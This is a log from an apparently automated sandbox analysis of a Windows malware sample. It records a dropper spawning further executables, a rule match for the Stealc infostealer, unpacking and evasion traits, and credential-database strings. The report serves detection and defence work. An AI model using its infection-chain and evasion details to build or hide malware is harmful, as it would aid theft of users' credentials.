Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D8860	7_2_002D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00294B30	7_2_00294B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D2D10	7_2_002D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00294DE0	7_2_00294DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002B0E13	7_2_002B0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D7049	7_2_002D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D31A8	7_2_002D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002B1602	7_2_002B1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D779B	7_2_002D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002D78BB	7_2_002D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002B3DF1	7_2_002B3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002C7F36	7_2_002C7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002AD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002AD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002C8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002A80C0 appears 261 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002ADF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002AD942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: String function: 00A580C0 appears 130 times

Source: mDuCbT8LnH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: mDuCbT8LnH.exe	Static PE information: Section: ZLIB complexity 0.9995787377450981
Source: mDuCbT8LnH.exe	Static PE information: Section: vsprjcoh ZLIB complexity 0.9948948662062198

Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/4@1/4

Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\P0YORWOE.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

File created: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mDuCbT8LnH.exe, 00000000.00000003.2137224083.00000000055E9000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2137652266.00000000055CD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: mDuCbT8LnH.exe

ReversingLabs: Detection: 60%

Source: V4H7WRUUSV81II1QF.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

File read: C:\Users\user\Desktop\mDuCbT8LnH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mDuCbT8LnH.exe "C:\Users\user\Desktop\mDuCbT8LnH.exe"
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process created: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe "C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe"
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process created: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe "C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe"
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process created: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe "C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process created: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe "C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: mDuCbT8LnH.exe

Static file information: File size 1867776 > 1048576

Source: mDuCbT8LnH.exe

Static PE information: Raw size of vsprjcoh is bigger than: 0x100000 < 0x19e000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Unpacked PE file: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack :EW;.rsrc:W;.idata :W;jvdduhrr:EW;adcgyevy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jvdduhrr:EW;adcgyevy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Unpacked PE file: 5.2.40KDYYZHGE3JBLN65FUJY4PQI.exe.a40000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.290000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.290000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: real checksum: 0x31b7aa should be: 0x31e500
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x31b7aa should be: 0x31e500
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: real checksum: 0x4ed61f should be: 0x4e9ce4
Source: mDuCbT8LnH.exe	Static PE information: real checksum: 0x1d5e57 should be: 0x1d1c07

Source: mDuCbT8LnH.exe	Static PE information: section name:
Source: mDuCbT8LnH.exe	Static PE information: section name: .idata
Source: mDuCbT8LnH.exe	Static PE information: section name:
Source: mDuCbT8LnH.exe	Static PE information: section name: vsprjcoh
Source: mDuCbT8LnH.exe	Static PE information: section name: yzcnzdio
Source: mDuCbT8LnH.exe	Static PE information: section name: .taggant
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name:
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name: .idata
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name: jvdduhrr
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name: adcgyevy
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name: .taggant
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name:
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: .idata
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: ysynnfor
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: lfcxdbpw
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: ysynnfor
Source: skotes.exe.5.dr	Static PE information: section name: lfcxdbpw
Source: skotes.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAD061 pushad ; iretd	0_3_00EAD069
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAD1E1 push eax; iretd	0_3_00EAD1E9
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAD36B push ds; iretd	0_3_00EAD399
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAD31F push ds; iretd	0_3_00EAD399
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF004 pushad ; retf	0_3_00EAF069
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF004 pushad ; retf	0_3_00EAF069
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF1F0 push ebx; retf	0_3_00EAF1F1
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EAF004 pushad ; retf	0_3_00EAF069
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5CF9 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5CF9 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC566E pushad ; iretd	0_3_00EC5671
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC566E pushad ; iretd	0_3_00EC5671
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5D10 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5D10 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5CF9 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5CF9 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC566E pushad ; iretd	0_3_00EC5671
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC566E pushad ; iretd	0_3_00EC5671
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5D10 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC5D10 push eax; ret	0_3_00EC5D51
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A5D91C push ecx; ret	5_2_00A5D92F
